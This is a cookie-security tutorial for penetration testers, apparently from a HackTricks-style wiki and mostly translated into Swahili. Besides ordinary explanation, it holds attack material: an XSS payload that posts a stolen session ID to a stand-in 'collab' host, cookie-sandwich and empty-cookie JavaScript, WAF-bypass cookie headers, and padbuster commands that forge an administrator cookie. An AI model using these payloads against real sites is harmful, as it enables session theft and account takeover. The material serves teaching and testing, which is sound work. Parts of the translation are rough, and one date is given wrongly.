Cookies Hacking

Reading time: 15 minutes

Cookie Attributes

Cookies zina vigezo kadhaa vinavyodhibiti tabia yao katika kivinjari cha mtumiaji. Hapa kuna muhtasari wa vigezo hivi kwa njia isiyo ya moja kwa moja:

Expires and Max-Age

Tarehe ya kumalizika ya cookie inaamuliwa na sifa ya Expires. Kinyume chake, sifa ya Max-age inaainisha muda kwa sekunde mpaka cookie ifutwe. Chagua Max-age kwani inaonyesha mbinu za kisasa zaidi.

Domain

Wajahishaji (hosts) watakaopewa cookie wanaainishwa na sifa ya Domain. Kwa chaguo-msingi, hii imewekwa kwa host iliyotuma cookie, bila kuhusisha subdomains zake. Hata hivyo, wakati sifa ya Domain imewekwa wazi, inajumuisha pia subdomains. Hii inafanya ufafanuzi wa sifa ya Domain kuwa chaguo lisilo na vikwazo vingi, linalofaa kwa hali ambapo kushiriki cookies kati ya subdomains ni muhimu. Kwa mfano, kuweka Domain=mozilla.org kunafanya cookies zipatikane kwenye subdomains kama developer.mozilla.org.

Path

Sifa ya Path inaonyesha njia maalum ya URL ambayo lazima iwepo kwenye URL iliyombwa ili header ya Cookie itumewe. Sifa hii inachukulia tabia ya / kama kitenganishi cha saraka, ikiruhusu ulinganifu katika saraka ndogo pia.

Ordering Rules

Wakati cookies mbili zina jina lile zenyewe, ile itakayochaguliwa kutumwa inategemea:

• Cookie inayolingana na path refu zaidi katika URL iliyombwa.
• Cookie iliyoanzishwa hivi karibuni zaidi ikiwa paths ni sawa.

SameSite

• Sifa ya SameSite inaamua kama cookies zitatumwa kwenye maombi yanayotokana na domains za wahusika wa tatu. Inatoa mipangilio mitatu:
• Strict: Inazuia cookie kutumwa kwenye maombi ya wahusika wa tatu.
• Lax: Inaruhusu cookie itumwe na maombi ya GET yaliyoanzishwa na tovuti za wahusika wa tatu.
• None: Inaruhusu cookie itumwe kutoka kwa domain yoyote ya mhusika wa tatu.

Kumbuka, wakati wa kusanidi cookies, kuelewa vigezo hivi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika nyakati tofauti.

Table from Invicti and slightly modified.
Cookie yenye SameSite attribute itapunguza mashambulizi ya CSRF ambapo kikao kilichoingia kinakohitajika.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Kumbuka kwa muda, baada ya mabadiliko haya, cookies bila sera ya SameSite katika Chrome zitatendewa kama None kwa dakika 2 za kwanza kisha kama Lax kwa ombi la POST la ngazi ya juu la cross-site.

Cookies Flags

HttpOnly

Hii inazuia client kufikia cookie (kwa kutumia Javascript kwa mfano: document.cookie)

Bypasses

• Ikiwa ukurasa unatumia kutuma cookies kama sehemu ya response za maombi (kwa mfano katika ukurasa wa PHPinfo), inawezekana kutumika XSS kutuma ombi kwa ukurasa huu na kuiba cookies kutoka kwenye response (tazama mfano katika https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Hii inaweza kupuuzwa kwa kutumia maombi ya TRACE HTTP kwani response kutoka kwa server (ikiwa njia hii ya HTTP inapatikana) itaakisi cookies zilizotumwa. Mbinu hii inaitwa Cross-Site Tracking.
• Mbinu hii imeepukiwa na kivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE kutoka JS. Hata hivyo, baadhi ya bypasses zimepatikana katika programu maalum kama kutuma \r\nTRACE badala ya TRACE kwa IE6.0 SP2.
• Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari.
• Inawezekana kuandika tena HttpOnly cookies kwa kufanya Cookie Jar overflow attack:

Cookie Jar Overflow

• Inawezekana kutumia Cookie Smuggling attack ku-exfiltrate hizi cookies
• Ikiwa endpoint yoyote ya server-side inarudia raw session ID katika HTTP response (mfano, ndani ya HTML comments au debug block), unaweza kupitisha HttpOnly kwa kutumia XSS gadget kuchukua endpoint hiyo, kutumia regex kupata siri, na ku-exfiltrate. Mfano wa muundo wa XSS payload:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Ombi litatuma cookie tu katika ombi la HTTP ikiwa ombi limetumwa kupitia njia salama (kwa kawaida HTTPS).

Prefiksi za Cookies

Cookies zilizo na kiambishi __Secure- zinahitajika kuwekwa pamoja na bendera ya secure kutoka kwenye kurasa zilizolindwa na HTTPS.

Kwa cookies zilizo na kiambishi __Host-, masharti kadhaa lazima yatimizwe:

• Lazima ziwe zimewekwa na bendera ya secure.
• Lazima zitoke kwenye ukurasa uliolindwa na HTTPS.
• Zinapigwa marufuku kutaja domain, hivyo kuzuia kusafirishwa kwa subdomains.
• Path kwa cookies hizi lazima iwe imewekwa kama /.

Ni muhimu kutambua kuwa cookies zilizo na kiambishi __Host- haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia kutenganisha cookies za programu. Kwa hivyo, kutumia kiambishi cha __Host- kwa cookies zote za programu kinaweza kuchukuliwa kama mbinu nzuri ya kuongeza usalama na izolamento.

Overwriting cookies

Kwa hivyo, mojawapo ya ulinzi wa cookies zilizo na kiambishi cha __Host- ni kuzuia ziandikwe tena kutoka kwa subdomains. Kuhakikisha, kwa mfano, kuzuia Cookie Tossing attacks. Katika mazungumzo ya Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) ilionyeshwa kwamba ilikuwa inawezekana kuweka cookies zilizo na kiambishi __HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kwa kuongeza "=" mwanzoni au mwanzoni na mwisho...:

Au katika PHP ilikuwa inawezekana kuongeza viyombo vingine mwanzoni vya jina la cookie ambavyo vilibadilishwa kuwa vibonye vya underscore, kuruhusu kuandika tena cookies za __HOST-:

Shambulio za Cookies

Kama cookie maalum ina data nyeti hakikisha kuikagua (hasa ikiwa unacheza CTF), kwani inaweza kuwa dhaifu.

Decoding and Manipulating Cookies

Data nyeti iliyowekwa ndani ya cookies inapaswa kuangaliwa kwa undani kila wakati. Cookies zilizokatwa kwa Base64 au formati zinazofanana mara nyingi zinaweza kutafsiriwa (decoded). Udhaifu huu umemuwezesha mshambulizi kubadilisha yaliyomo kwenye cookie na kujigania nafasi za watumiaji wengine kwa kuifikia data iliyorekebishwa na kuiweka tena katika cookie.

Session Hijacking

Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata upatikanaji usioidhinishwa katika akaunti yao ndani ya programu. Kwa kutumia cookie iliyotorwa, mshambulizi anaweza kujigania kuwa mtumiaji halali.

Session Fixation

Katika hali hii, mshambulizi humdanganya mwathiriwa kutumia cookie maalum ili kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambulizi, mwenye cookie ya awali, anaweza kujigania mwathiriwa. Mbinu hii inategemea mwathiriwa kuingia akiwa na cookie iliyotolewa na mshambulizi.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Hapa, mshambulizi anamshawishi mwathiriwa kutumia cookie ya kikao ya mshambulizi. Mwathiriwa, akidhani ameingia kwenye akaunti yake mwenyewe, atatekeleza hatua bila kukusudia katika muktadha wa akaunti ya mshambulizi.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) zinazotumika katika cookies pia zinaweza kuonyesha udhaifu. Kwa habari za kina kuhusu mapungufu yanayowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyounganishwa kuhusu hacking JWT.

Cross-Site Request Forgery (CSRF)

Shambulio hili linawalazimisha watumiaji walioingia kuendesha vitendo wasivyotaka kwenye programu ya wavuti ambamo wamo ndani ya kikao chenye uthibitisho. Washambulizi wanaweza kutumia cookies zinazonatumwa moja kwa moja kwa kila ombi kwa tovuti iliyo hatarini.

Empty Cookies

(Check further details in theoriginal research) Vivinjari vinaruhusu uundaji wa cookies bila jina, jambo ambalo linaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Matokeo katika sent cookie header ni a=v1; test value; b=v2;. Kwa kushangaza, hii inaruhusu kuingilia cookies ikiwa cookie isiyo na jina itawekwa, na inawezekana kudhibiti cookies nyingine kwa kuweka cookie isiyo na jina kuwa na thamani maalum:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Hii inasababisha kivinjari kutuma header ya cookie ambayo inatafsiriwa na kila web server kama cookie iliyoitwa a yenye thamani b.

Chrome Bug: Unicode Surrogate Codepoint Issue

Katika Chrome, ikiwa Unicode surrogate codepoint ni sehemu ya set cookie, document.cookie inaharibika na baadaye inarudisha string tupu:

document.cookie = "\ud800=meep"

Hii inasababisha document.cookie kutoa mlolongo tupu, ikibainisha uharibifu wa kudumu.

Cookie Smuggling Kutokana na Masuala ya Kuchambua

(Angalia maelezo zaidi katika original research) Seva nyingi za wavuti, zikiwemo zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya cookie strings kutokana na msaada wa zamani wa RFC2965. Zinasoma thamani ya cookie iliyofungwa kwa nukuu mbili kama thamani moja hata ikiwa ina semicolons, ambazo kwa kawaida zinapaswa kutenganisha jozi za ufunguo-thamani:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Uchambuzi usio sahihi wa cookies na servers, hasa Undertow, Zope, na zile zinazotumia Python's http.cookie.SimpleCookie na http.cookie.BaseCookie, unaweka fursa za cookie injection attacks. Servers hizi hazifanyi delimiting ya kuanza kwa cookies mpya kwa usahihi, ikiruhusu watafuki kuiga cookies:

• Undertow inatarajia cookie mpya mara moja baada ya thamani iliyowekwa ndani ya nukuu bila semicolon.
• Zope inatafuta koma kuanza uchambuzi wa cookie inayofuata.
• Python's cookie classes huanza kuchambua kwenye space character.

Udhaifu huu ni hatari hasa katika web applications zinazotegemea cookie-based CSRF protection, kwani unamruhusu mwizi kuingiza spoofed CSRF-token cookies, kwa njia inaweza kuzuia security measures. Tatizo linazidi kuongezeka kutokana na jinsi Python inavyoshughulikia majina ya cookie yaliyorudiwa, ambapo matukio ya mwisho yanashinda yale ya awali. Pia inaleta wasiwasi kwa __Secure- na __Host- cookies katika muktadha usio salama na inaweza kusababisha authorization bypasses wakati cookies zinapotumwa kwa back-end servers zilizo susceptible kwa spoofing.

Cookies $version

WAF Bypass

According to this blogpost, inaweza kuwa inawezekana kutumia cookie attribute $Version=1 kufanya backend itumie logic ya zamani ya kuchambua cookie kutokana na RFC2109. Zaidi ya hayo, values nyingine kama $Domain na $Path zinaweza kutumika kubadilisha tabia ya backend kwa cookie.

Cookie Sandwich Attack

According to this blogpost inawezekana kutumia cookie sandwich technique kuiba HttpOnly cookies. Haya ndio mahitaji na hatua:

• Tafuta sehemu ambapo cookie isiyo na maana inaonekana katika response
• Create a cookie called $Version yenye value 1 (you can do this in a XSS attack from JS) yenye path maalum ili ipate nafasi ya mwanzo (mifumo mingine kama python hawahitaji hatua hii)
• Create the cookie that is reflected yenye value inayowacha open double quotes na path maalum ili ipo kwenye cookie db baada ya ile ya awali ($Version)
• Kisha, cookie halali itaenda ifuatayo katika mfuatano
• Create a dummy cookie that closes the double quotes ndani ya value yake

Kwa njia hii cookie ya mwathirika inashikwa ndani ya cookie mpya version 1 na itareflect kila inaporeflect. kwa mfano kutoka kwenye post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Angalia sehemu iliyotangulia.

Bypassing value analysis with quoted-string encoding

Uchambuzi huu unaonyesha kuondoa escape kwenye thamani zilizopigwa escape ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kusaidia kupitisha WAFS kama:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Katika RFC2109 imeelezwa kwamba koma inaweza kutumika kama kigawanyaji kati ya thamani za cookie. Na pia inawezekana kuongeza nafasi na tabs kabla na baada ya alama ya sawa. Hivyo cookie kama $Version=1; foo=bar, abc = qux haitatengeneza cookie "foo":"bar, admin = qux" bali cookies foo":"bar" na "admin":"qux". Angalia jinsi cookie 2 zinavyotengenezwa na jinsi admin alivyopata kuondolewa nafasi kabla na baada ya alama ya sawa.

Bypassing value analysis with cookie splitting

Hatimaye backdoors tofauti zingeunganisha katika string cookie tofauti zilizopita kwenye headers tofauti za cookie kama katika:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ambayo inaweza kuruhusu bypass a WAF kama katika mfano huu:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ukaguzi Zaidi wa Cookies Zilizo Hatarini

Uchunguzi wa Msingi

• The cookie ni ile ile kila unapofanya login.
• Log out na jaribu kutumia cookie ile ile.
• Jaribu kufanya login kwa vifaa 2 (au browsers) kwenye account ile ile ukitumia cookie ile ile.
• Angalia kama cookie ina taarifa yoyote ndani yake na jaribu kuibadilisha.
• Jaribu kuunda accounts kadhaa zenye username karibu sana na angalia kama unaweza kuona mfanano.
• Angalia chaguo la "remember me" kama lipo kuona jinsi linavyofanya kazi. Ikiwa lipo na linaweza kuwa hatarishi, tumia kila wakati cookie ya remember me bila cookie nyingine yoyote.
• Angalia ikiwa cookie ya hapo awali inafanya kazi hata baada ya kubadilisha password.

Shambulio za juu za Cookies

Ikiwa cookie inabaki ile ile (au karibu) unapo login, hii labda ina maana cookie inahusiana na sehemu fulani ya account yako (labda username). Kisha unaweza:

• Jaribu kuunda accounts nyingi zenye usernames zinazofanana sana na jaribu kubashiri jinsi algorithimu inavyofanya kazi.
• Jaribu bruteforce the username. Ikiwa cookie inahifadhiwa tu kama njia ya uthibitisho kwa username yako, basi unaweza kuunda account yenye username "Bmin" na bruteforce kila bit ya cookie yako kwa sababu moja ya cookies utakazojaribu itakuwa ile ya "admin".
• Jaribu Padding Oracle (unaweza ku-decrypt maudhui ya cookie). Tumia padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster itafanya jaribio kadhaa na itakuuliza ni hali gani ndiyo hali ya kosa (ile ambayo si halali).

Kisha itaanza decrypting the cookie (inaweza kuchukua dakika kadhaa)

Iwapo attack imefanywa kwa mafanikio, basi unaweza kujaribu encrypt string ya chaguo lako. Kwa mfano, ikiwa ungependa encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Utekelezaji huu utakupa cookie iliyosimbwa na imekodishwa vizuri ikiwa na mfuatano user=administrator ndani.

CBC-MAC

Huenda cookie ikawa na thamani fulani na ikasainiwa kwa kutumia CBC. Hivyo, uadilifu wa thamani ni saini iliyotengenezwa kwa kutumia CBC na thamani hiyo yenyewe. Kwa kuwa inapendekezwa kutumia IV kuwa vektori sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa dhaifu.

Shambulio

1. Pata saini ya username administ = t
2. Pata saini ya username rator\x00\x00\x00 XOR t = t'
3. Weka kwenye cookie thamani administrator+t' (t' itakuwa saini halali ya (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa dhaifu.
Wakati unajiunga cookie unayopokea inapaswa kuwa daima ile ile.

Jinsi ya kugundua na kushambulia:

Unda watumiaji 2 wenye data karibu sawa (username, password, email, n.k.) na jaribu kugundua muundo fulani ndani ya cookie iliyotolewa.

Unda mtumiaji kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia kama kuna muundo wowote kwenye cookie (kwa kuwa ECB inasimba kila block kwa kutumia funguo ile ile, bait zilizosimbwa zinaweza kuonekana ikiwa username inasimbwa).

Kutakuwa na muundo (wa ukubwa wa block inayotumika). Kwa hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda username: "a"*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo uliosimbwa wa block ya "a" kutoka kwenye cookie. Na utapata cookie ya username "admin".

References

• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/